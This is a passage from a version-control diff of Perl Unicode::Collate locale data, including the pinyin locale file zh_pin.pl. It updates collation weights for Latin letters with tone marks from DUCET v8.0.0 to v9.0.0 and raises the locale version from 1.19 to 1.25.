-0075 0308 0300 ; [.1E30.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE
-0075 0308 0340 ; [.1E30.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE
-01DB      ; [.1E30.0024.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE
-0055 0308 0300 ; [.1E30.0024.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE
-0055 0308 0340 ; [.1E30.0024.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE
-00FC 0300 ; [.1E30.0024.0002] # <LATIN SMALL LETTER U WITH DIAERESIS, COMBINING GRAVE ACCENT>
-00FC 0340 ; [.1E30.0024.0002] # <LATIN SMALL LETTER U WITH DIAERESIS, COMBINING GRAVE TONE MARK>
-00DC 0300 ; [.1E30.0024.0008] # <LATIN CAPITAL LETTER U WITH DIAERESIS, COMBINING GRAVE ACCENT>
-00DC 0340 ; [.1E30.0024.0008] # <LATIN CAPITAL LETTER U WITH DIAERESIS, COMBINING GRAVE TONE MARK>
-00FC      ; [.1E30.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS
-0075 0308 ; [.1E30.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS
-00DC      ; [.1E30.0025.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
-0055 0308 ; [.1E30.0025.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
+   entry => <<'ENTRY', # for DUCET v9.0.0
+0101      ; [.1C47.001C.0002] # LATIN SMALL LETTER A WITH MACRON
+0061 0304 ; [.1C47.001C.0002] # LATIN SMALL LETTER A WITH MACRON
+0100      ; [.1C47.001C.0008] # LATIN CAPITAL LETTER A WITH MACRON
+0041 0304 ; [.1C47.001C.0008] # LATIN CAPITAL LETTER A WITH MACRON
+00E1      ; [.1C47.001D.0002] # LATIN SMALL LETTER A WITH ACUTE
+0061 0301 ; [.1C47.001D.0002] # LATIN SMALL LETTER A WITH ACUTE
+0061 0341 ; [.1C47.001D.0002] # LATIN SMALL LETTER A WITH ACUTE
+00C1      ; [.1C47.001D.0008] # LATIN CAPITAL LETTER A WITH ACUTE
+0041 0301 ; [.1C47.001D.0008] # LATIN CAPITAL LETTER A WITH ACUTE
+0041 0341 ; [.1C47.001D.0008] # LATIN CAPITAL LETTER A WITH ACUTE
+01CE      ; [.1C47.001E.0002] # LATIN SMALL LETTER A WITH CARON
+0061 030C ; [.1C47.001E.0002] # LATIN SMALL LETTER A WITH CARON
+01CD      ; [.1C47.001E.0008] # LATIN CAPITAL LETTER A WITH CARON
+0041 030C ; [.1C47.001E.0008] # LATIN CAPITAL LETTER A WITH CARON
+00E0      ; [.1C47.001F.0002] # LATIN SMALL LETTER A WITH GRAVE
+0061 0300 ; [.1C47.001F.0002] # LATIN SMALL LETTER A WITH GRAVE
+0061 0340 ; [.1C47.001F.0002] # LATIN SMALL LETTER A WITH GRAVE
+00C0      ; [.1C47.001F.0008] # LATIN CAPITAL LETTER A WITH GRAVE
+0041 0300 ; [.1C47.001F.0008] # LATIN CAPITAL LETTER A WITH GRAVE
+0041 0340 ; [.1C47.001F.0008] # LATIN CAPITAL LETTER A WITH GRAVE
+0113      ; [.1CAA.001C.0002] # LATIN SMALL LETTER E WITH MACRON
+0065 0304 ; [.1CAA.001C.0002] # LATIN SMALL LETTER E WITH MACRON
+0112      ; [.1CAA.001C.0008] # LATIN CAPITAL LETTER E WITH MACRON
+0045 0304 ; [.1CAA.001C.0008] # LATIN CAPITAL LETTER E WITH MACRON
+00E9      ; [.1CAA.001D.0002] # LATIN SMALL LETTER E WITH ACUTE
+0065 0301 ; [.1CAA.001D.0002] # LATIN SMALL LETTER E WITH ACUTE
+0065 0341 ; [.1CAA.001D.0002] # LATIN SMALL LETTER E WITH ACUTE
+00C9      ; [.1CAA.001D.0008] # LATIN CAPITAL LETTER E WITH ACUTE
+0045 0301 ; [.1CAA.001D.0008] # LATIN CAPITAL LETTER E WITH ACUTE
+0045 0341 ; [.1CAA.001D.0008] # LATIN CAPITAL LETTER E WITH ACUTE
+011B      ; [.1CAA.001E.0002] # LATIN SMALL LETTER E WITH CARON
+0065 030C ; [.1CAA.001E.0002] # LATIN SMALL LETTER E WITH CARON
+011A      ; [.1CAA.001E.0008] # LATIN CAPITAL LETTER E WITH CARON
+0045 030C ; [.1CAA.001E.0008] # LATIN CAPITAL LETTER E WITH CARON
+00E8      ; [.1CAA.001F.0002] # LATIN SMALL LETTER E WITH GRAVE
+0065 0300 ; [.1CAA.001F.0002] # LATIN SMALL LETTER E WITH GRAVE
+0065 0340 ; [.1CAA.001F.0002] # LATIN SMALL LETTER E WITH GRAVE
+00C8      ; [.1CAA.001F.0008] # LATIN CAPITAL LETTER E WITH GRAVE
+0045 0300 ; [.1CAA.001F.0008] # LATIN CAPITAL LETTER E WITH GRAVE
+0045 0340 ; [.1CAA.001F.0008] # LATIN CAPITAL LETTER E WITH GRAVE
+00EA 0304 ; [.1CAA.0021.0002] # <LATIN SMALL LETTER E WITH CIRCUMFLEX, COMBINING MACRON>
+00CA 0304 ; [.1CAA.0021.0008] # <LATIN CAPITAL LETTER E WITH CIRCUMFLEX, COMBINING MACRON>
+0065 0302 0304 ; [.1CAA.0021.0002] # <LATIN SMALL LETTER E, COMBINING CIRCUMFLEX ACCENT, COMBINING MACRON>
+0045 0302 0304 ; [.1CAA.0021.0008] # <LATIN CAPITAL LETTER E, COMBINING CIRCUMFLEX ACCENT, COMBINING MACRON>
+1EBF      ; [.1CAA.0022.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE
+0065 0302 0301 ; [.1CAA.0022.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE
+0065 0302 0341 ; [.1CAA.0022.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE
+1EBE      ; [.1CAA.0022.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE
+0045 0302 0301 ; [.1CAA.0022.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE
+0045 0302 0341 ; [.1CAA.0022.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE
+00EA 0301 ; [.1CAA.0022.0002] # <LATIN SMALL LETTER E WITH CIRCUMFLEX, COMBINING ACUTE ACCENT>
+00EA 0341 ; [.1CAA.0022.0002] # <LATIN SMALL LETTER E WITH CIRCUMFLEX, COMBINING ACUTE TONE MARK>
+00CA 0301 ; [.1CAA.0022.0008] # <LATIN CAPITAL LETTER E WITH CIRCUMFLEX, COMBINING ACUTE ACCENT>
+00CA 0341 ; [.1CAA.0022.0008] # <LATIN CAPITAL LETTER E WITH CIRCUMFLEX, COMBINING ACUTE TONE MARK>
+00EA 030C ; [.1CAA.0023.0002] # <LATIN SMALL LETTER E WITH CIRCUMFLEX, COMBINING CARON>
+00CA 030C ; [.1CAA.0023.0008] # <LATIN CAPITAL LETTER E WITH CIRCUMFLEX, COMBINING CARON>
+0065 0302 030C ; [.1CAA.0023.0002] # <LATIN SMALL LETTER E, COMBINING CIRCUMFLEX ACCENT, COMBINING CARON>
+0045 0302 030C ; [.1CAA.0023.0008] # <LATIN CAPITAL LETTER E, COMBINING CIRCUMFLEX ACCENT, COMBINING CARON>
+1EC1      ; [.1CAA.0024.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE
+0065 0302 0300 ; [.1CAA.0024.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE
+0065 0302 0340 ; [.1CAA.0024.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE
+1EC0      ; [.1CAA.0024.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE
+0045 0302 0300 ; [.1CAA.0024.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE
+0045 0302 0340 ; [.1CAA.0024.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE
+00EA 0300 ; [.1CAA.0024.0002] # <LATIN SMALL LETTER E WITH CIRCUMFLEX, COMBINING GRAVE ACCENT>
+00EA 0340 ; [.1CAA.0024.0002] # <LATIN SMALL LETTER E WITH CIRCUMFLEX, COMBINING GRAVE TONE MARK>
+00CA 0300 ; [.1CAA.0024.0008] # <LATIN CAPITAL LETTER E WITH CIRCUMFLEX, COMBINING GRAVE ACCENT>
+00CA 0340 ; [.1CAA.0024.0008] # <LATIN CAPITAL LETTER E WITH CIRCUMFLEX, COMBINING GRAVE TONE MARK>
+00EA      ; [.1CAA.0025.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX
+0065 0302 ; [.1CAA.0025.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX
+00CA      ; [.1CAA.0025.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX
+0045 0302 ; [.1CAA.0025.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX
+1EC5      ; [.1CAA.0025.0002][.0000.002D.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND TILDE
+1EC4      ; [.1CAA.0025.0008][.0000.002D.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND TILDE
+1EC3      ; [.1CAA.0025.0002][.0000.003B.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE
+1EC2      ; [.1CAA.0025.0008][.0000.003B.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE
+1EC7      ; [.1CAA.0025.0002][.0000.0042.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND DOT BELOW
+1EC6      ; [.1CAA.0025.0008][.0000.0042.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND DOT BELOW
+012B      ; [.1D32.001C.0002] # LATIN SMALL LETTER I WITH MACRON
+0069 0304 ; [.1D32.001C.0002] # LATIN SMALL LETTER I WITH MACRON
+012A      ; [.1D32.001C.0008] # LATIN CAPITAL LETTER I WITH MACRON
+0049 0304 ; [.1D32.001C.0008] # LATIN CAPITAL LETTER I WITH MACRON
+00ED      ; [.1D32.001D.0002] # LATIN SMALL LETTER I WITH ACUTE
+0069 0301 ; [.1D32.001D.0002] # LATIN SMALL LETTER I WITH ACUTE
+0069 0341 ; [.1D32.001D.0002] # LATIN SMALL LETTER I WITH ACUTE
+00CD      ; [.1D32.001D.0008] # LATIN CAPITAL LETTER I WITH ACUTE
+0049 0301 ; [.1D32.001D.0008] # LATIN CAPITAL LETTER I WITH ACUTE
+0049 0341 ; [.1D32.001D.0008] # LATIN CAPITAL LETTER I WITH ACUTE
+01D0      ; [.1D32.001E.0002] # LATIN SMALL LETTER I WITH CARON
+0069 030C ; [.1D32.001E.0002] # LATIN SMALL LETTER I WITH CARON
+01CF      ; [.1D32.001E.0008] # LATIN CAPITAL LETTER I WITH CARON
+0049 030C ; [.1D32.001E.0008] # LATIN CAPITAL LETTER I WITH CARON
+00EC      ; [.1D32.001F.0002] # LATIN SMALL LETTER I WITH GRAVE
+0069 0300 ; [.1D32.001F.0002] # LATIN SMALL LETTER I WITH GRAVE
+0069 0340 ; [.1D32.001F.0002] # LATIN SMALL LETTER I WITH GRAVE
+00CC      ; [.1D32.001F.0008] # LATIN CAPITAL LETTER I WITH GRAVE
+0049 0300 ; [.1D32.001F.0008] # LATIN CAPITAL LETTER I WITH GRAVE
+0049 0340 ; [.1D32.001F.0008] # LATIN CAPITAL LETTER I WITH GRAVE
+006D 0304 ; [.1DAA.001C.0002] # <LATIN SMALL LETTER M, COMBINING MACRON>
+004D 0304 ; [.1DAA.001C.0008] # <LATIN CAPITAL LETTER M, COMBINING MACRON>
+1E3F      ; [.1DAA.001D.0002] # LATIN SMALL LETTER M WITH ACUTE
+006D 0301 ; [.1DAA.001D.0002] # LATIN SMALL LETTER M WITH ACUTE
+006D 0341 ; [.1DAA.001D.0002] # LATIN SMALL LETTER M WITH ACUTE
+1E3E      ; [.1DAA.001D.0008] # LATIN CAPITAL LETTER M WITH ACUTE
+004D 0301 ; [.1DAA.001D.0008] # LATIN CAPITAL LETTER M WITH ACUTE
+004D 0341 ; [.1DAA.001D.0008] # LATIN CAPITAL LETTER M WITH ACUTE
+006D 030C ; [.1DAA.001E.0002] # <LATIN SMALL LETTER M, COMBINING CARON>
+004D 030C ; [.1DAA.001E.0008] # <LATIN CAPITAL LETTER M, COMBINING CARON>
+006D 0300 ; [.1DAA.001F.0002] # <LATIN SMALL LETTER M, COMBINING GRAVE ACCENT>
+006D 0340 ; [.1DAA.001F.0002] # <LATIN SMALL LETTER M, COMBINING GRAVE TONE MARK>
+004D 0300 ; [.1DAA.001F.0008] # <LATIN CAPITAL LETTER M, COMBINING GRAVE ACCENT>
+004D 0340 ; [.1DAA.001F.0008] # <LATIN CAPITAL LETTER M, COMBINING GRAVE TONE MARK>
+006E 0304 ; [.1DB9.001C.0002] # <LATIN SMALL LETTER N, COMBINING MACRON>
+004E 0304 ; [.1DB9.001C.0008] # <LATIN CAPITAL LETTER N, COMBINING MACRON>
+0144      ; [.1DB9.001D.0002] # LATIN SMALL LETTER N WITH ACUTE
+006E 0301 ; [.1DB9.001D.0002] # LATIN SMALL LETTER N WITH ACUTE
+006E 0341 ; [.1DB9.001D.0002] # LATIN SMALL LETTER N WITH ACUTE
+0143      ; [.1DB9.001D.0008] # LATIN CAPITAL LETTER N WITH ACUTE
+004E 0301 ; [.1DB9.001D.0008] # LATIN CAPITAL LETTER N WITH ACUTE
+004E 0341 ; [.1DB9.001D.0008] # LATIN CAPITAL LETTER N WITH ACUTE
+0148      ; [.1DB9.001E.0002] # LATIN SMALL LETTER N WITH CARON
+006E 030C ; [.1DB9.001E.0002] # LATIN SMALL LETTER N WITH CARON
+0147      ; [.1DB9.001E.0008] # LATIN CAPITAL LETTER N WITH CARON
+004E 030C ; [.1DB9.001E.0008] # LATIN CAPITAL LETTER N WITH CARON
+01F9      ; [.1DB9.001F.0002] # LATIN SMALL LETTER N WITH GRAVE
+006E 0300 ; [.1DB9.001F.0002] # LATIN SMALL LETTER N WITH GRAVE
+006E 0340 ; [.1DB9.001F.0002] # LATIN SMALL LETTER N WITH GRAVE
+01F8      ; [.1DB9.001F.0008] # LATIN CAPITAL LETTER N WITH GRAVE
+004E 0300 ; [.1DB9.001F.0008] # LATIN CAPITAL LETTER N WITH GRAVE
+004E 0340 ; [.1DB9.001F.0008] # LATIN CAPITAL LETTER N WITH GRAVE
+014D      ; [.1DDD.001C.0002] # LATIN SMALL LETTER O WITH MACRON
+006F 0304 ; [.1DDD.001C.0002] # LATIN SMALL LETTER O WITH MACRON
+014C      ; [.1DDD.001C.0008] # LATIN CAPITAL LETTER O WITH MACRON
+004F 0304 ; [.1DDD.001C.0008] # LATIN CAPITAL LETTER O WITH MACRON
+00F3      ; [.1DDD.001D.0002] # LATIN SMALL LETTER O WITH ACUTE
+006F 0301 ; [.1DDD.001D.0002] # LATIN SMALL LETTER O WITH ACUTE
+006F 0341 ; [.1DDD.001D.0002] # LATIN SMALL LETTER O WITH ACUTE
+00D3      ; [.1DDD.001D.0008] # LATIN CAPITAL LETTER O WITH ACUTE
+004F 0301 ; [.1DDD.001D.0008] # LATIN CAPITAL LETTER O WITH ACUTE
+004F 0341 ; [.1DDD.001D.0008] # LATIN CAPITAL LETTER O WITH ACUTE
+01D2      ; [.1DDD.001E.0002] # LATIN SMALL LETTER O WITH CARON
+006F 030C ; [.1DDD.001E.0002] # LATIN SMALL LETTER O WITH CARON
+01D1      ; [.1DDD.001E.0008] # LATIN CAPITAL LETTER O WITH CARON
+004F 030C ; [.1DDD.001E.0008] # LATIN CAPITAL LETTER O WITH CARON
+00F2      ; [.1DDD.001F.0002] # LATIN SMALL LETTER O WITH GRAVE
+006F 0300 ; [.1DDD.001F.0002] # LATIN SMALL LETTER O WITH GRAVE
+006F 0340 ; [.1DDD.001F.0002] # LATIN SMALL LETTER O WITH GRAVE
+00D2      ; [.1DDD.001F.0008] # LATIN CAPITAL LETTER O WITH GRAVE
+004F 0300 ; [.1DDD.001F.0008] # LATIN CAPITAL LETTER O WITH GRAVE
+004F 0340 ; [.1DDD.001F.0008] # LATIN CAPITAL LETTER O WITH GRAVE
+016B      ; [.1EB5.001C.0002] # LATIN SMALL LETTER U WITH MACRON
+0075 0304 ; [.1EB5.001C.0002] # LATIN SMALL LETTER U WITH MACRON
+016A      ; [.1EB5.001C.0008] # LATIN CAPITAL LETTER U WITH MACRON
+0055 0304 ; [.1EB5.001C.0008] # LATIN CAPITAL LETTER U WITH MACRON
+00FA      ; [.1EB5.001D.0002] # LATIN SMALL LETTER U WITH ACUTE
+0075 0301 ; [.1EB5.001D.0002] # LATIN SMALL LETTER U WITH ACUTE
+0075 0341 ; [.1EB5.001D.0002] # LATIN SMALL LETTER U WITH ACUTE
+00DA      ; [.1EB5.001D.0008] # LATIN CAPITAL LETTER U WITH ACUTE
+0055 0301 ; [.1EB5.001D.0008] # LATIN CAPITAL LETTER U WITH ACUTE
+0055 0341 ; [.1EB5.001D.0008] # LATIN CAPITAL LETTER U WITH ACUTE
+01D4      ; [.1EB5.001E.0002] # LATIN SMALL LETTER U WITH CARON
+0075 030C ; [.1EB5.001E.0002] # LATIN SMALL LETTER U WITH CARON
+01D3      ; [.1EB5.001E.0008] # LATIN CAPITAL LETTER U WITH CARON
+0055 030C ; [.1EB5.001E.0008] # LATIN CAPITAL LETTER U WITH CARON
+00F9      ; [.1EB5.001F.0002] # LATIN SMALL LETTER U WITH GRAVE
+0075 0300 ; [.1EB5.001F.0002] # LATIN SMALL LETTER U WITH GRAVE
+0075 0340 ; [.1EB5.001F.0002] # LATIN SMALL LETTER U WITH GRAVE
+00D9      ; [.1EB5.001F.0008] # LATIN CAPITAL LETTER U WITH GRAVE
+0055 0300 ; [.1EB5.001F.0008] # LATIN CAPITAL LETTER U WITH GRAVE
+0055 0340 ; [.1EB5.001F.0008] # LATIN CAPITAL LETTER U WITH GRAVE
+01D6      ; [.1EB5.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON
+0075 0308 0304 ; [.1EB5.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON
+01D5      ; [.1EB5.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON
+0055 0308 0304 ; [.1EB5.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON
+00FC 0304 ; [.1EB5.0021.0002] # <LATIN SMALL LETTER U WITH DIAERESIS, COMBINING MACRON>
+00DC 0304 ; [.1EB5.0021.0008] # <LATIN CAPITAL LETTER U WITH DIAERESIS, COMBINING MACRON>
+01D8      ; [.1EB5.0022.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE
+0075 0308 0301 ; [.1EB5.0022.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE
+0075 0308 0341 ; [.1EB5.0022.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE
+01D7      ; [.1EB5.0022.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE
+0055 0308 0301 ; [.1EB5.0022.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE
+0055 0308 0341 ; [.1EB5.0022.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE
+00FC 0301 ; [.1EB5.0022.0002] # <LATIN SMALL LETTER U WITH DIAERESIS, COMBINING ACUTE ACCENT>
+00FC 0341 ; [.1EB5.0022.0002] # <LATIN SMALL LETTER U WITH DIAERESIS, COMBINING ACUTE TONE MARK>
+00DC 0301 ; [.1EB5.0022.0008] # <LATIN CAPITAL LETTER U WITH DIAERESIS, COMBINING ACUTE ACCENT>
+00DC 0341 ; [.1EB5.0022.0008] # <LATIN CAPITAL LETTER U WITH DIAERESIS, COMBINING ACUTE TONE MARK>
+01DA      ; [.1EB5.0023.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON
+0075 0308 030C ; [.1EB5.0023.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON
+01D9      ; [.1EB5.0023.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON
+0055 0308 030C ; [.1EB5.0023.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON
+00FC 030C ; [.1EB5.0023.0002] # <LATIN SMALL LETTER U WITH DIAERESIS, COMBINING CARON>
+00DC 030C ; [.1EB5.0023.0008] # <LATIN CAPITAL LETTER U WITH DIAERESIS, COMBINING CARON>
+01DC      ; [.1EB5.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE
+0075 0308 0300 ; [.1EB5.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE
+0075 0308 0340 ; [.1EB5.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE
+01DB      ; [.1EB5.0024.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE
+0055 0308 0300 ; [.1EB5.0024.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE
+0055 0308 0340 ; [.1EB5.0024.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE
+00FC 0300 ; [.1EB5.0024.0002] # <LATIN SMALL LETTER U WITH DIAERESIS, COMBINING GRAVE ACCENT>
+00FC 0340 ; [.1EB5.0024.0002] # <LATIN SMALL LETTER U WITH DIAERESIS, COMBINING GRAVE TONE MARK>
+00DC 0300 ; [.1EB5.0024.0008] # <LATIN CAPITAL LETTER U WITH DIAERESIS, COMBINING GRAVE ACCENT>
+00DC 0340 ; [.1EB5.0024.0008] # <LATIN CAPITAL LETTER U WITH DIAERESIS, COMBINING GRAVE TONE MARK>
+00FC      ; [.1EB5.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS
+0075 0308 ; [.1EB5.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS
+00DC      ; [.1EB5.0025.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
+0055 0308 ; [.1EB5.0025.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
 E2D8      ; [.8EAB.0020.0002] # <unknown>
 E2D9      ; [.8EAC.0020.0002] # <unknown>
 E2DA      ; [.8EAD.0020.0002] # <unknown>

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/zh_pin.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/zh_pin.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/zh_pin.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,214 +1,214 @@
 use Unicode::Collate::CJK::Pinyin;
 +{
-   locale_version => 1.19,
+   locale_version => 1.25,
    overrideCJK => \&Unicode::Collate::CJK::Pinyin::weightPinyin,
-   entry => <<'ENTRY', # for DUCET v8.0.0
-0101      ; [.1BC2.001C.0002] # LATIN SMALL LETTER A WITH MACRON
-0061 0304 ; [.1BC2.001C.0002] # LATIN SMALL LETTER A WITH MACRON
-0100      ; [.1BC2.001C.0008] # LATIN CAPITAL LETTER A WITH MACRON
-0041 0304 ; [.1BC2.001C.0008] # LATIN CAPITAL LETTER A WITH MACRON
-00E1      ; [.1BC2.001D.0002] # LATIN SMALL LETTER A WITH ACUTE
-0061 0301 ; [.1BC2.001D.0002] # LATIN SMALL LETTER A WITH ACUTE
-0061 0341 ; [.1BC2.001D.0002] # LATIN SMALL LETTER A WITH ACUTE
-00C1      ; [.1BC2.001D.0008] # LATIN CAPITAL LETTER A WITH ACUTE
-0041 0301 ; [.1BC2.001D.0008] # LATIN CAPITAL LETTER A WITH ACUTE
-0041 0341 ; [.1BC2.001D.0008] # LATIN CAPITAL LETTER A WITH ACUTE
-01CE      ; [.1BC2.001E.0002] # LATIN SMALL LETTER A WITH CARON
-0061 030C ; [.1BC2.001E.0002] # LATIN SMALL LETTER A WITH CARON
-01CD      ; [.1BC2.001E.0008] # LATIN CAPITAL LETTER A WITH CARON
-0041 030C ; [.1BC2.001E.0008] # LATIN CAPITAL LETTER A WITH CARON
-00E0      ; [.1BC2.001F.0002] # LATIN SMALL LETTER A WITH GRAVE
-0061 0300 ; [.1BC2.001F.0002] # LATIN SMALL LETTER A WITH GRAVE
-0061 0340 ; [.1BC2.001F.0002] # LATIN SMALL LETTER A WITH GRAVE
-00C0      ; [.1BC2.001F.0008] # LATIN CAPITAL LETTER A WITH GRAVE
-0041 0300 ; [.1BC2.001F.0008] # LATIN CAPITAL LETTER A WITH GRAVE
-0041 0340 ; [.1BC2.001F.0008] # LATIN CAPITAL LETTER A WITH GRAVE
-0113      ; [.1C25.001C.0002] # LATIN SMALL LETTER E WITH MACRON
-0065 0304 ; [.1C25.001C.0002] # LATIN SMALL LETTER E WITH MACRON
-0112      ; [.1C25.001C.0008] # LATIN CAPITAL LETTER E WITH MACRON
-0045 0304 ; [.1C25.001C.0008] # LATIN CAPITAL LETTER E WITH MACRON
-00E9      ; [.1C25.001D.0002] # LATIN SMALL LETTER E WITH ACUTE
-0065 0301 ; [.1C25.001D.0002] # LATIN SMALL LETTER E WITH ACUTE
-0065 0341 ; [.1C25.001D.0002] # LATIN SMALL LETTER E WITH ACUTE
-00C9      ; [.1C25.001D.0008] # LATIN CAPITAL LETTER E WITH ACUTE
-0045 0301 ; [.1C25.001D.0008] # LATIN CAPITAL LETTER E WITH ACUTE
-0045 0341 ; [.1C25.001D.0008] # LATIN CAPITAL LETTER E WITH ACUTE
-011B      ; [.1C25.001E.0002] # LATIN SMALL LETTER E WITH CARON
-0065 030C ; [.1C25.001E.0002] # LATIN SMALL LETTER E WITH CARON
-011A      ; [.1C25.001E.0008] # LATIN CAPITAL LETTER E WITH CARON
-0045 030C ; [.1C25.001E.0008] # LATIN CAPITAL LETTER E WITH CARON
-00E8      ; [.1C25.001F.0002] # LATIN SMALL LETTER E WITH GRAVE
-0065 0300 ; [.1C25.001F.0002] # LATIN SMALL LETTER E WITH GRAVE
-0065 0340 ; [.1C25.001F.0002] # LATIN SMALL LETTER E WITH GRAVE
-00C8      ; [.1C25.001F.0008] # LATIN CAPITAL LETTER E WITH GRAVE
-0045 0300 ; [.1C25.001F.0008] # LATIN CAPITAL LETTER E WITH GRAVE
-0045 0340 ; [.1C25.001F.0008] # LATIN CAPITAL LETTER E WITH GRAVE
-00EA 0304 ; [.1C25.0021.0002] # <LATIN SMALL LETTER E WITH CIRCUMFLEX, COMBINING MACRON>
-00CA 0304 ; [.1C25.0021.0008] # <LATIN CAPITAL LETTER E WITH CIRCUMFLEX, COMBINING MACRON>
-0065 0302 0304 ; [.1C25.0021.0002] # <LATIN SMALL LETTER E, COMBINING CIRCUMFLEX ACCENT, COMBINING MACRON>
-0045 0302 0304 ; [.1C25.0021.0008] # <LATIN CAPITAL LETTER E, COMBINING CIRCUMFLEX ACCENT, COMBINING MACRON>
-1EBF      ; [.1C25.0022.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE
-0065 0302 0301 ; [.1C25.0022.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE
-0065 0302 0341 ; [.1C25.0022.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE
-1EBE      ; [.1C25.0022.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE
-0045 0302 0301 ; [.1C25.0022.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE
-0045 0302 0341 ; [.1C25.0022.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE
-00EA 0301 ; [.1C25.0022.0002] # <LATIN SMALL LETTER E WITH CIRCUMFLEX, COMBINING ACUTE ACCENT>
-00EA 0341 ; [.1C25.0022.0002] # <LATIN SMALL LETTER E WITH CIRCUMFLEX, COMBINING ACUTE TONE MARK>
-00CA 0301 ; [.1C25.0022.0008] # <LATIN CAPITAL LETTER E WITH CIRCUMFLEX, COMBINING ACUTE ACCENT>
-00CA 0341 ; [.1C25.0022.0008] # <LATIN CAPITAL LETTER E WITH CIRCUMFLEX, COMBINING ACUTE TONE MARK>
-00EA 030C ; [.1C25.0023.0002] # <LATIN SMALL LETTER E WITH CIRCUMFLEX, COMBINING CARON>
-00CA 030C ; [.1C25.0023.0008] # <LATIN CAPITAL LETTER E WITH CIRCUMFLEX, COMBINING CARON>
-0065 0302 030C ; [.1C25.0023.0002] # <LATIN SMALL LETTER E, COMBINING CIRCUMFLEX ACCENT, COMBINING CARON>
-0045 0302 030C ; [.1C25.0023.0008] # <LATIN CAPITAL LETTER E, COMBINING CIRCUMFLEX ACCENT, COMBINING CARON>
-1EC1      ; [.1C25.0024.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE
-0065 0302 0300 ; [.1C25.0024.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE
-0065 0302 0340 ; [.1C25.0024.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE
-1EC0      ; [.1C25.0024.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE
-0045 0302 0300 ; [.1C25.0024.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE
-0045 0302 0340 ; [.1C25.0024.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE
-00EA 0300 ; [.1C25.0024.0002] # <LATIN SMALL LETTER E WITH CIRCUMFLEX, COMBINING GRAVE ACCENT>
-00EA 0340 ; [.1C25.0024.0002] # <LATIN SMALL LETTER E WITH CIRCUMFLEX, COMBINING GRAVE TONE MARK>
